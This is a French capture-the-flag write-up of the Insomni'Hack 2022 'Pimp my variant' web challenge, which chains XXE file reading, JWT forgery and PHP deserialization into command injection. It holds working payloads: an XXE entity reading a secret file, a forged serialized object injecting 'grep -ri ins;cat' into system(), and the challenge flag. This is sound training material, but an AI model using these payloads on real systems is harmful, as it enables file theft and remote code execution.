woman in front of its computer with the Insomniak Logo

Insomni'Hack 2022 Pimp my variant

A la Une25/02/2022

Par Aldric Berthet-Bondet

Dans ce challenge, nous avons dû combiner deux vunérabilités (une XXE et une désérialisation non sécurisée en PHP) afin d’obtenir une exécution de commande à distance.

Détails
 

  • Catégorie : web
  • Points : 76
  • Résolutions : 77

Description
 

Seen as it went, why not guess the next variant name : pimpmyvariant.insomnihack.ch

Comprendre le problème

La page sur laquelle nous avons atterri n'était qu'une simple liste statique des variantes de Covid. Il n'y avait... rien d'autre. Nous devions donc trouver un moyen d'afficher des informations potentiellement cachées.

Résoudre le problème

La première chose à faire est généralement de vérifier la page robots.txt qui peut contenir des informations utiles sur les pages disponibles. Voici ce que nous avons trouvé :

/readme
/new
/log
/flag.txt
/todo.txt

Bon, maintenant que nous avions un point de départ, nous nous sommes rendus sur ces différentes pages :

  • /readme affiche un message unique : “Hostname not allowed”.
  • /new affiche le même message que ci-dessus.
  • /log n’est pas autorisée. Seul l’administrateur peut y avoir accès.
  • /flag.txt est évidemment un piège. Ce serait trop facile :)
  • /todo.txt indique “test back” qui peut faire référence au back-end.

Dans un premier temps, nous avons dû contourner les restrictions mises en place sur l’en-tête “Hostname” pour obtenir un accès aux endpoints /readme et /new. Cela était assez simple puisqu’il s’agissait uniquement de remplacer sa valeur par 127.0.0.1.

/readme nous fournit un nouveau endpoint intéressant à visiter. Malheureusement, le simple fait de le parcourir n’affiche pas son contenu.

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 31 Jan 2022 10:38:20 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-transform
Feature-Policy: geolocation none;midi none;notifications none;push none;sync-xhr none;microphone none;camera none;magnetometer none;gyroscope none;speaker self;vibrate none;fullscreen self;payment none;
Content-Length: 195

<html><head>
    <link rel="stylesheet" href="./dark-theme.css">
    <title>PimpMyVariant</title>
</head><body>
    <h1>Readme</h1>

#DEBUG- JWT secret key can now be found in the /www/jwt.secret.txt file

/new fait apparaître un formulaire qui peut être utilisé pour ajouter un nouveau variant de Covid à la liste. C’est une requête POST vers /api dont le JWT est structuré comme suit :

{
  "alg": "HS256",
  "typ": "JWT"
}
{
  "variants": [
    "Alpha",
    "Beta",
    "Gamma",
    "Delta",
    "Omicron",
    "Lambda",
    "Epsilon",
    "Zeta",
    "Eta",
    "Theta",
    "Iota",
    "deltacron"
  ],
  "settings": "a:1:{i:0;O:4:\"User\":3:{s:4:\"name\";s:4:\"Anon\";s:7:\"isAdmin\";b:0;s:2:\"id\";s:40:\"ac6346bdd03ceb561aa5bd65906052b9b5c19d29\";}}",
  "exp": 1643465268
}

Ok, résumons ce que nous avons découvert jusqu’à présent :

  • Un formulaire pour ajouter un nouveau variant
  • Une API avec un mécanisme d’authentification JWT
  • Un fichier situé dans le répertoire /www/jwt.secret.txt que nous ne pouvons pas lire pour le moment
  • Un endpoint /log uniquement consultable par l’administrateur

Implémentation de la solution

Dans le but d’accéder à /log, nous avons dû usurper le compte administrateur en utilisant les vulnérabilités suivantes :

  • Récupérez le contenu de /www/jwt.secret.txt qui est censé être le secret HMAC du jeton JWT.
  • Forgez un nouveau jeton avec ce secret et positionner la valeur du booléen isAdmin à 1.

En analysant la requête POST, nous avons également remarqué que les arguments sont envoyés dans une structure XML. Une vulnérabilité bien connue liée à XML est XXE. Ici, elle pourrait être utilisée pour extraire des données sensibles comme des fichiers ;)

Après avoir validé que la vulnérabilité XXE était bien présente, nous avons utilisé le payload suivant :

POST /api HTTP/1.1
Host: pimpmyvariant.insomnihack.ch
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/xml
Origin: http://pimpmyvariant.insomnihack.ch
Content-Length: 168
Connection: close
Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ2YXJpYW50cyI6WyJBbHBoYSIsIkJldGEiLCJHYW1tYSIsIkRlbHRhIiwiT21pY3JvbiIsIkxhbWJkYSIsIkVwc2lsb24iLCJaZXRhIiwiRXRhIiwiVGhldGEiLCJJb3RhIiwiZGVsdGFjcm9uIiwidGVzdCIsInRlc3QxIl0sInNldHRpbmdzIjoiYToxOntpOjA7Tzo0OlwiVXNlclwiOjM6e3M6NDpcIm5hbWVcIjtzOjQ6XCJBbm9uXCI7czo3OlwiaXNBZG1pblwiO2I6MDtzOjI6XCJpZFwiO3M6NDA6XCJhYzYzNDZiZGQwM2NlYjU2MWFhNWJkNjU5MDYwNTJiOWI1YzE5ZDI5XCI7fX0iLCJleHAiOjE2NDM0NjUyNjh9.rJN7Zt97lVafBHm0rsT0iifOT524fP2_T-pRPgtRlzA

<?xml version='1.0' encoding='utf-8'?>
<!DOCTYPE replace [<!ENTITY example SYSTEM "file:///www/jwt.secret.txt"> ]>

<root>
    <name>&example;</name>
</root>

Le résultat est affiché à l’intérieur de la liste après avoir parcouru / avec le nouveau JWT renvoyé par le serveur (car les variants y sont stockés) :

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 31 Jan 2022 11:03:00 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-transform
Feature-Policy: geolocation none;midi none;notifications none;push none;sync-xhr none;microphone none;camera none;magnetometer none;gyroscope none;speaker self;vibrate none;fullscreen self;payment none;
Content-Length: 402

<html>
<head>
    <link rel="stylesheet" href="./dark-theme.css">
    <title>PimpMyVariant</title>
</head><body>
    <h1>Variants list</h1>

<ul>

[...]
<li>54b163783c46881f1fe7ee05f90334aa</li>
</ul>
</body>
</html>

En utilisant ce secret, forger un nouveau jeton JWT est trivial. Et nous pouvons maintenant accéder à /log :

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 31 Jan 2022 14:12:56 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-transform
Feature-Policy: geolocation none;midi none;notifications none;push none;sync-xhr none;microphone none;camera none;magnetometer none;gyroscope none;speaker self;vibrate none;fullscreen self;payment none;
Content-Length: 501

<html><head>
    <link rel="stylesheet" href="./dark-theme.css">
    <title>PimpMyVariant</title>
</head><body>
    <h1>Logs</h1>

<textarea style="width:100%; height:100%; border:0px;" disabled="disabled">
[2021-12-25 02:12:01] Fatal error: Uncaught Error: Bad system command call from UpdateLogViewer::read() from global scope in /www/log.php:36
Stack trace:
#0 {main}
  thrown in /www/log.php on line 37
#0 {UpdateLogViewer::read}
  thrown in /www/UpdateLogViewer.inc on line 26

</textarea>
</body></html>

Un message d’erreur est affiché sur la page, révélant le chemin d’un nouveau fichier que nous n’avions pas découvert auparavant. Il s’agit d’un fichier .inc situé dans le répertoire racine du serveur web. Son contenu n’étant pas interprété, nous avons pu y accéder directement :

<?php

class UpdateLogViewer
{
    public string $packgeName;
    public string $logCmdReader;
    private static ?UpdateLogViewer $singleton = null;
    
    private function __construct(string $packgeName)
    {
        $this->packgeName = $packgeName;
        $this->logCmdReader = 'cat';
    }
    
    public static function instance() : UpdateLogViewer
    {
        if( !isset(self::$singleton) || self::$singleton === null ){
            $c = __CLASS__;
            self::$singleton = new $c("$c");
        }
        return self::$singleton;
    }
    
    public static function read():string
    {
        return system(self::logFile());
    }
    
    public static function logFile():string
    {
        return self::instance()->logCmdReader.' /var/log/UpdateLogViewer_'.self::instance()->packgeName.'.log';
    }
    
    public function __wakeup()// serialize
    {
        self::$singleton = $this; 
    }
};

Nous ne l’avons pas encore mentionné, mais nous avons remarqué que le champ settings du jeton JWT est un tableau PHP sérialisé contenant un objet User :

{"settings": "a:1:{i:0;O:4:\"User\":3:{s:4:\"name\";s:4:\"Anon\";s:7:\"isAdmin\";b:0;s:2:\"id\";s:40:\"ac6346bdd03ceb561aa5bd65906052b9b5c19d29\";}}"}

Il est évident que la vulnérabilité ici est une désérialisation PHP non sécurisée.

Lorsque le endpoint /log est consulté, la fonction UpdateLogViewer::read est appelée. Cette fonction utilise system pour lire un fichier de log. L’injection de commande est évidente et peut être déclenchée en définissant $this->logCmdReader = 'id;cat';.

La simple modification du champ settings par un objet sérialisé UpdateLogViewer spécialement conçu ne fonctionne pas, car nous ne sommes plus administrateur.

Après plusieurs tentatives infructueuses, nous avons découvert que nous devions ajouter notre objet au tableau existant. Voici donc le payload :

{"settings": "a:2:{i:0;O:4:\"User\":3:{s:4:\"name\";s:4:\"Anon\";s:7:\"isAdmin\";b:1;s:2:\"id\";s:40:\"ac6346bdd03ceb561aa5bd65906052b9b5c19d29\";}i:1;O:15:\"UpdateLogViewer\":2:{s:10:\"packgeName\";s:15:\"UpdateLogViewer\";s:12:\"logCmdReader\";s:16:\"grep -ri ins;cat\";}}"}

En se rendant sur /log avec le jeton JWT spécialement forgé, nous obtenons le flag :

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 31 Jan 2022 15:14:38 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-transform
Feature-Policy: geolocation none;midi none;notifications none;push none;sync-xhr none;microphone none;camera none;magnetometer none;gyroscope none;speaker self;vibrate none;fullscreen self;payment none;
Content-Length: 1271

<html>
<head>
    <link rel="stylesheet" href="./dark-theme.css">
    <title>PimpMyVariant</title>
</head><body>
    <h1>Logs</h1>

<textarea style="width:100%; height:100%; border:0px;" disabled="disabled">
[2021-12-25 02:12:01] Fatal error: Uncaught Error: Bad system command call from UpdateLogViewer::read() from global scope in /www/log.php:36
Stack trace:
#0 {main}
  thrown in /www/log.php on line 37
#0 {UpdateLogViewer::read}
  thrown in /www/UpdateLogViewer.inc on line 26

flag.txt:The flag is INS{P!mpmYV4rianThat's1flag}
[...]
</textarea>
</body>
</html>

Flag : INS{P!mpmYV4rianThat’s1flag}

Nos autres actualités